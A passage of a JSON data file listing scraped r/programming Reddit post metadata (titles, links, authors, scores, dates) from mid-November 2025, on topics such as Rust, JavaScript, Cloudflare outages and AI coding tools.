  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p2xcof",
  "url": "https://fredrikmalmo.com/blog/js-ts-nullish-empty-string-coalescing",
  "permalink": "https://www.reddit.com/r/programming/comments/1p2xcof/abuse_of_the_nullish_coalescing_operator_in_jsts/",
  "title": "Abuse of the nullish coalescing operator in JS/TS",
  "body": null,
  "author": "fredrikaugust",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.36,
  "numComments": 50,
  "createdAt": "2025-11-21T12:29:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fredrikmalmo.com/blog/js-ts-nullish-empty-string-coalescing",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p2su50",
  "url": "https://susam.net/fizz-buzz-with-cosines.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1p2su50/solving_fizz_buzz_with_cosines/",
  "title": "Solving Fizz Buzz with Cosines",
  "body": null,
  "author": "p-orbitals",
  "subreddit": "programming",
  "score": 234,
  "upvoteRatio": 0.95,
  "numComments": 20,
  "createdAt": "2025-11-21T07:57:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://susam.net/fizz-buzz-with-cosines.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p2cx2s",
  "url": "https://www.youtube.com/watch?v=C4tE1kZNrX4",
  "permalink": "https://www.reddit.com/r/programming/comments/1p2cx2s/software_requirements_specification_srs_case/",
  "title": "Software Requirements Specification (SRS) – Case Study 1",
  "body": "I just published a lecture about Software Requirements Specifications (SRS), using as an example the SRS of my Cloud-Based Multi-Service Platform for Smart Event Management case study project, which I host as a public repository in GitHub. There's a link to the SRS document and to the repository in the video description.  \n  \nIn this video I talk about functional requirements, non-funcional requirements, technical requirements, security, testing and architecture in the context of the case study software project.  \n  \nThe goal is to share insights of how a Software Requirements Specification looks like in the real word, its application and importance on software development projects.",
  "author": "ZoePsomi",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.52,
  "numComments": 4,
  "createdAt": "2025-11-20T19:42:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=C4tE1kZNrX4",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p2b843",
  "url": "https://renomad.com/blogposts/the_qo_developer.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1p2b843/the_qualityoriented_programmer/",
  "title": "The quality-oriented programmer",
  "body": null,
  "author": "byronka",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.56,
  "numComments": 1,
  "createdAt": "2025-11-20T18:40:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://renomad.com/blogposts/the_qo_developer.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p242va",
  "url": "https://bloomberry.com/blog/i-analyzed-1000-forward-deployed-engineer-jobs-what-i-learned/",
  "permalink": "https://www.reddit.com/r/programming/comments/1p242va/i_analyzed_1000_forward_deployed_engineer_jobs/",
  "title": "I analyzed 1000 forward deployed engineer jobs: what I learned",
  "body": "An analysis of forward deployed engineering jobs, which has grown 1165% in 2025",
  "author": "Flat_Palpitation_158",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.52,
  "numComments": 0,
  "createdAt": "2025-11-20T14:08:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bloomberry.com/blog/i-analyzed-1000-forward-deployed-engineer-jobs-what-i-learned/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p1vtsz",
  "url": "https://www.simpleanalytics.com/blog/the-eu-wants-to-kill-cookie-banners-by-moving-consent-to-your-browser",
  "permalink": "https://www.reddit.com/r/programming/comments/1p1vtsz/the_eu_wants_to_kill_cookiebanners_by_moving/",
  "title": "The EU wants to kill cookiebanners by moving consent to your browser",
  "body": null,
  "author": "DonutAccomplished422",
  "subreddit": "programming",
  "score": 796,
  "upvoteRatio": 0.98,
  "numComments": 170,
  "createdAt": "2025-11-20T06:14:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.simpleanalytics.com/blog/the-eu-wants-to-kill-cookie-banners-by-moving-consent-to-your-browser",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p1g9ni",
  "url": "https://www.theregister.com/2025/11/18/linus_torvalds_vibe_coding/",
  "permalink": "https://www.reddit.com/r/programming/comments/1p1g9ni/linus_torvalds_vibe_coding_is_fine_but_not_for/",
  "title": "Linus Torvalds: Vibe coding is fine, but not for production",
  "body": null,
  "author": "fungussa",
  "subreddit": "programming",
  "score": 2631,
  "upvoteRatio": 0.96,
  "numComments": 368,
  "createdAt": "2025-11-19T18:52:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/2025/11/18/linus_torvalds_vibe_coding/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p0zd3i",
  "url": "https://kirancodes.me/posts/log-sins-of-c.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1p0zd3i/humanity_is_stained_by_the_sins_of_c_and_no_llm/",
  "title": "Humanity is stained by the sins of C and no LLM can rewrite them away to Rust",
  "body": null,
  "author": "Gopiandcoshow",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.37,
  "numComments": 3,
  "createdAt": "2025-11-19T05:40:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://kirancodes.me/posts/log-sins-of-c.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p0yc5h",
  "url": "https://lgatlin.dev/blog/rust-ctrl-flow/",
  "permalink": "https://www.reddit.com/r/programming/comments/1p0yc5h/rusts_result_type_is_not_just_for_errors/",
  "title": "Rust's Result type is not just for errors",
  "body": "I recently explored how Results are used in the Rust standard library and compiler. This article explores how to understand and use Results more effectively.",
  "author": "UnrelelentingForce",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.51,
  "numComments": 4,
  "createdAt": "2025-11-19T04:44:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lgatlin.dev/blog/rust-ctrl-flow/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p0srgs",
  "url": "https://blog.cloudflare.com/18-november-2025-outage",
  "permalink": "https://www.reddit.com/r/programming/comments/1p0srgs/cloudflare_outage_on_november_18_2025_official/",
  "title": "Cloudflare outage on November 18, 2025 - official response",
  "body": null,
  "author": "Frequent-Football984",
  "subreddit": "programming",
  "score": 1645,
  "upvoteRatio": 0.98,
  "numComments": 297,
  "createdAt": "2025-11-19T00:20:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.cloudflare.com/18-november-2025-outage",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p0qxc9",
  "url": "https://android-developers.googleblog.com/2025/11/android-developer-verification-early.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1p0qxc9/android_blog_based_on_this_feedback_and_our/",
  "title": "Android Blog: \"Based on this feedback and our ongoing conversations with the community, we are building a new advanced flow that allows experienced users to accept the risks of installing software that isn't verified.\"",
  "body": null,
  "author": "DesiOtaku",
  "subreddit": "programming",
  "score": 246,
  "upvoteRatio": 0.97,
  "numComments": 26,
  "createdAt": "2025-11-18T23:02:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://android-developers.googleblog.com/2025/11/android-developer-verification-early.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p0qu12",
  "url": "https://theaxolot.wordpress.com/2025/11/18/dont-refactor-like-uncle-bob-second-edition/",
  "permalink": "https://www.reddit.com/r/programming/comments/1p0qu12/dont_refactor_like_uncle_bob_second_edition/",
  "title": "Don't Refactor Like Uncle Bob (Second Edition)",
  "body": "Hey guys! I'm back for round two! I recently got my hands on the second edition of Robert Martin's Clean Code, and I figured I'd do a second edition of my first article as well.\n\nEnjoy!",
  "author": "The_Axolot",
  "subreddit": "programming",
  "score": 310,
  "upvoteRatio": 0.9,
  "numComments": 153,
  "createdAt": "2025-11-18T22:58:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://theaxolot.wordpress.com/2025/11/18/dont-refactor-like-uncle-bob-second-edition/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p0ldd1",
  "url": "https://jerf.org/iri/post/2025/the_uselessness_of_fast/",
  "permalink": "https://www.reddit.com/r/programming/comments/1p0ldd1/the_uselessness_of_fast_and_slow_in_programming/",
  "title": "The Uselessness of \"Fast\" and \"Slow\" in Programming",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.42,
  "numComments": 18,
  "createdAt": "2025-11-18T19:28:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jerf.org/iri/post/2025/the_uselessness_of_fast/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p0h78i",
  "url": "https://blog.google/products/gemini/gemini-3/?utm_source=tw&utm_medium=social&utm_campaign=nfg&utm_content=&utm_term=#gemini-3-deep-think",
  "permalink": "https://www.reddit.com/r/programming/comments/1p0h78i/gemini_3_was_released_minutes_ago/",
  "title": "Gemini 3 was released minutes ago",
  "body": null,
  "author": "Frequent-Football984",
  "subreddit": "programming",
  "score": 773,
  "upvoteRatio": 0.83,
  "numComments": 222,
  "createdAt": "2025-11-18T16:55:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.google/products/gemini/gemini-3/?utm_source=tw&utm_medium=social&utm_campaign=nfg&utm_content=&utm_term=#gemini-3-deep-think",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p0e2l6",
  "url": "https://www.itpro.com/infrastructure/a-massive-cloudflare-outage-has-taken-down-x-and-openai-and-even-bricked-outage-tracker-site-downdetector?utm_source=chatgpt.com",
  "permalink": "https://www.reddit.com/r/programming/comments/1p0e2l6/cloudflare_global_outage_halts_major_ai_and_web/",
  "title": "Cloudflare global outage halts major AI and web services",
  "body": null,
  "author": "zvone187",
  "subreddit": "programming",
  "score": 246,
  "upvoteRatio": 0.92,
  "numComments": 54,
  "createdAt": "2025-11-18T14:57:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.itpro.com/infrastructure/a-massive-cloudflare-outage-has-taken-down-x-and-openai-and-even-bricked-outage-tracker-site-downdetector?utm_source=chatgpt.com",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p07nw3",
  "url": "https://shiftmag.dev/want-a-new-job-reddit-might-be-to-blame-7017/",
  "permalink": "https://www.reddit.com/r/programming/comments/1p07nw3/how_reddit_shapes_your_career_decisions/",
  "title": "How Reddit Shapes Your Career Decisions",
  "body": null,
  "author": "shift_devs",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 2,
  "createdAt": "2025-11-18T09:35:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://shiftmag.dev/want-a-new-job-reddit-might-be-to-blame-7017/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p05zfq",
  "url": "https://hwisnu.bearblog.dev/giving-c-a-superpower-custom-header-file-safe_ch/",
  "permalink": "https://www.reddit.com/r/programming/comments/1p05zfq/giving_c_a_superpower_custom_header_file_safe_ch/",
  "title": "Giving C a Superpower: custom header file (safe_c.h)",
  "body": null,
  "author": "Xadartt",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.52,
  "numComments": 9,
  "createdAt": "2025-11-18T07:46:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://hwisnu.bearblog.dev/giving-c-a-superpower-custom-header-file-safe_ch/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p05b0u",
  "url": "https://cekrem.github.io/posts/elm-book-missing-chapter-8-ports-interop/",
  "permalink": "https://www.reddit.com/r/programming/comments/1p05b0u/an_elm_primer_the_missing_chapter_on_javascript/",
  "title": "An Elm Primer: The missing chapter on JavaScript interop",
  "body": null,
  "author": "cekrem",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 10,
  "createdAt": "2025-11-18T07:02:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cekrem.github.io/posts/elm-book-missing-chapter-8-ports-interop/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p0313p",
  "url": "https://bfswa.substack.com/p/6-years-after-too-much-crypto",
  "permalink": "https://www.reddit.com/r/programming/comments/1p0313p/6_years_after_too_much_crypto/",
  "title": "6 years after too much crypto",
  "body": null,
  "author": "MarekKnapek",
  "subreddit": "programming",
  "score": 231,
  "upvoteRatio": 0.91,
  "numComments": 55,
  "createdAt": "2025-11-18T04:52:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bfswa.substack.com/p/6-years-after-too-much-crypto",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ozu3bv",
  "url": "https://medium.com/@dariuszgafka/async-failure-recovery-queue-vs-streaming-channel-strategies-d038165a42dd",
  "permalink": "https://www.reddit.com/r/programming/comments/1ozu3bv/async_failure_recovery_queue_vs_streaming_channel/",
  "title": "Async Failure Recovery: Queue vs Streaming Channel Strategies",
  "body": "In this article, I am diving into Streaming vs Queue Channels, the purpose of those channels, and failure strategies which we can apply based on the scenario we are in. ",
  "author": "Dariusz_Gafka",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.56,
  "numComments": 0,
  "createdAt": "2025-11-17T22:11:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@dariuszgafka/async-failure-recovery-queue-vs-streaming-channel-strategies-d038165a42dd",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ozr0i2",
  "url": "https://rup12.net/posts/learning-rust-custom-errors/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ozr0i2/implementing_rust_newtype_for_errors_in_axum/",
  "title": "Implementing Rust newtype for errors in axum",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.58,
  "numComments": 0,
  "createdAt": "2025-11-17T20:15:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rup12.net/posts/learning-rust-custom-errors/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ozf2xo",
  "url": "https://www.systemdesignbutsimple.com/p/what-happens-when-you-type-a-url",
  "permalink": "https://www.reddit.com/r/programming/comments/1ozf2xo/what_happens_when_you_type_a_url_in_your_browser/",
  "title": "What happens when you type a url in your browser?",
  "body": null,
  "author": "stmoreau",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 12,
  "createdAt": "2025-11-17T12:33:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.systemdesignbutsimple.com/p/what-happens-when-you-type-a-url",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ozclw7",
  "url": "https://open.substack.com/pub/weeklyrust/p/rust-proofing-android?r=327yzu&utm_campaign=post&utm_medium=web&showWelcomeOnShare=false",
  "permalink": "https://www.reddit.com/r/programming/comments/1ozclw7/rustproofing_android/",
  "title": "🦀 Rust-Proofing Android",
  "body": null,
  "author": "web3writer",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 0,
  "createdAt": "2025-11-17T10:13:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://open.substack.com/pub/weeklyrust/p/rust-proofing-android?r=327yzu&utm_campaign=post&utm_medium=web&showWelcomeOnShare=false",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oysdqb",
  "url": "https://viewfromthewing.com/his-legal-name-is-one-letter-the-airline-rejects-it-and-says-just-call-yourself-aa-creating-chaos/?utm_source=fark&utm_medium=website&utm_content=link&ICID=ref_fark",
  "permalink": "https://www.reddit.com/r/programming/comments/1oysdqb/his_legal_name_is_one_lettera_reminder_that_bad/",
  "title": "His Legal Name Is One Letter—A reminder that bad validation rules hurt people",
  "body": null,
  "author": "grauenwolf",
  "subreddit": "programming",
  "score": 1135,
  "upvoteRatio": 0.95,
  "numComments": 470,
  "createdAt": "2025-11-16T17:59:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://viewfromthewing.com/his-legal-name-is-one-letter-the-airline-rejects-it-and-says-just-call-yourself-aa-creating-chaos/?utm_source=fark&utm_medium=website&utm_content=link&ICID=ref_fark",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oyoxq6",
  "url": "https://github.com/Hans-Halverson/brimstone",
  "permalink": "https://www.reddit.com/r/programming/comments/1oyoxq6/new_javascript_engine_written_in_rust/",
  "title": "New JavaScript engine written in Rust",
  "body": null,
  "author": "Different-Maize1114",
  "subreddit": "programming",
  "score": 265,
  "upvoteRatio": 0.87,
  "numComments": 104,
  "createdAt": "2025-11-16T15:44:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/Hans-Halverson/brimstone",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oyl5k1",
  "url": "https://incident.io/blog/bloom-filters",
  "permalink": "https://www.reddit.com/r/programming/comments/1oyl5k1/bloom_filters_the_niche_trick_behind_a_16_faster/",
  "title": "Bloom filters: the niche trick behind a 16× faster API",
  "body": null,
  "author": "shared_ptr",
  "subreddit": "programming",
  "score": 480,
  "upvoteRatio": 0.95,
  "numComments": 60,
  "createdAt": "2025-11-16T13:01:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://incident.io/blog/bloom-filters",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oy5v6s",
  "url": "https://xetera.dev/article/typescript-permissions",
  "permalink": "https://www.reddit.com/r/programming/comments/1oy5v6s/building_a_robust_permissions_system_in_typescript/",
  "title": "Building a robust permissions system in TypeScript",
  "body": null,
  "author": "ketralnis",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 1,
  "createdAt": "2025-11-15T23:13:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://xetera.dev/article/typescript-permissions",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1oxuk2c",
  "url": "https://github.com/microsoft/vscode/issues/277450",
  "permalink": "https://www.reddit.com/r/programming/comments/1oxuk2c/markdown_files_not_openable_because_of_github/",
  "title": "Markdown files not openable because of GitHub Copilot · Issue #277450 · microsoft/vscode",
  "body": "You must click on the Copilot status bar, then click either \"Set up Copilot\" or \"Skip for now\".\n\nDisable GitHub Copilot/reload/ Reload with extensions disabled won't help.",
  "author": "lactranandev",
  "subreddit": "programming",
  "score": 317,
  "upvoteRatio": 0.95,
  "numComments": 75,
  "createdAt": "2025-11-15T15:31:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/microsoft/vscode/issues/277450",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1owwvts",
  "url": "https://www.youtube.com/watch?v=AqFiAO0Gm6s",
  "permalink": "https://www.reddit.com/r/programming/comments/1owwvts/we_made_the_mostｖａｐｏｒｗａｖｅoperating_system/",
  "title": "We made the most【﻿ｖａｐｏｒｗａｖｅ】operating system",
  "body": null,
  "author": "daedaluscommunity",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.59,
  "numComments": 2,
  "createdAt": "2025-11-14T13:45:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=AqFiAO0Gm6s",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1owjtyx",
  "url": "https://arpitbhayani.me/blogs/heartbeats-in-distributed-systems/",
  "permalink": "https://www.reddit.com/r/programming/comments/1owjtyx/heartbeats_in_distributed_systems/",
  "title": "Heartbeats in Distributed Systems",
  "body": null,
  "author": "iamkeyur",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 2,
  "createdAt": "2025-11-14T01:56:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arpitbhayani.me/blogs/heartbeats-in-distributed-systems/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1owcbc7",
  "url": "https://security.googleblog.com/2025/11/rust-in-android-move-fast-fix-things.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1owcbc7/rust_in_android_move_fast_and_fix_things/",
  "title": "Rust in Android: move fast and fix things",
  "body": null,
  "author": "ViewTrick1002",
  "subreddit": "programming",
  "score": 258,
  "upvoteRatio": 0.88,
  "numComments": 102,
  "createdAt": "2025-11-13T20:39:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://security.googleblog.com/2025/11/rust-in-android-move-fast-fix-things.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ow61vh",
  "url": "https://leetarxiv.substack.com/p/ibm-patented-eulers-fractions",
  "permalink": "https://www.reddit.com/r/programming/comments/1ow61vh/ibm_patented_eulers_200_year_old_math_technique/",
  "title": "IBM Patented Euler's 200 year old Math Technique",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 1195,
  "upvoteRatio": 0.93,
  "numComments": 131,
  "createdAt": "2025-11-13T16:45:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/ibm-patented-eulers-fractions",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ow476v",
  "url": "https://octomind.dev/blog/why-agents-do-not-write-most-of-our-code-a-reality-check",
  "permalink": "https://www.reddit.com/r/programming/comments/1ow476v/why_agents_do_not_write_most_of_our_code_a/",
  "title": "Why agents DO NOT write most of our code - a reality check",
  "body": null,
  "author": "ma_za_octo",
  "subreddit": "programming",
  "score": 501,
  "upvoteRatio": 0.92,
  "numComments": 113,
  "createdAt": "2025-11-13T15:35:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://octomind.dev/blog/why-agents-do-not-write-most-of-our-code-a-reality-check",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ovsyp1",
  "url": "https://youtu.be/JEg6hoi8i7o",
  "permalink": "https://www.reddit.com/r/programming/comments/1ovsyp1/why_your_code_feels_wrong_kevlin_henney_on/",
  "title": "Why Your Code Feels Wrong (Kevlin Henney on Modelarity)",
  "body": null,
  "author": "South-Reception-1251",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.42,
  "numComments": 16,
  "createdAt": "2025-11-13T05:32:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/JEg6hoi8i7o",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ovr5cg",
  "url": "https://javatechonline.com/spring-batch-example-csv-to-mysql-jpa-batch-insert/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ovr5cg/a_stepbystep_guide_on_how_to_use_spring_batch/",
  "title": "A step-by-step guide on how to use Spring Batch together with Spring Data JPA and MySQL to move data from CSV files into a database efficiently.",
  "body": "Sometimes in real time projects, we need to transfer data from one location to another. If the volume of data is small, we can achieve this by applying any traditional approach. On the other hand, if there is a huge amount of data, we can make use of the Spring Batch API to make the transfer of data faster and performant. In this article ‘Spring Batch Example CSV to MySQL Using JPA’, we are going to [transfer the data from CSV file to MySQL database using Spring Boot Batch](https://javatechonline.com/spring-batch-example-csv-to-mysql-jpa-batch-insert/).",
  "author": "erdsingh24",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.46,
  "numComments": 3,
  "createdAt": "2025-11-13T03:57:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://javatechonline.com/spring-batch-example-csv-to-mysql-jpa-batch-insert/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ovbpnd",
  "url": "https://devblogs.microsoft.com/visualstudio/visual-studio-2026-is-here-faster-smarter-and-a-hit-with-early-adopters/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ovbpnd/visual_studio_2026_is_now_generally_available/",
  "title": "Visual Studio 2026 is now generally available",
  "body": null,
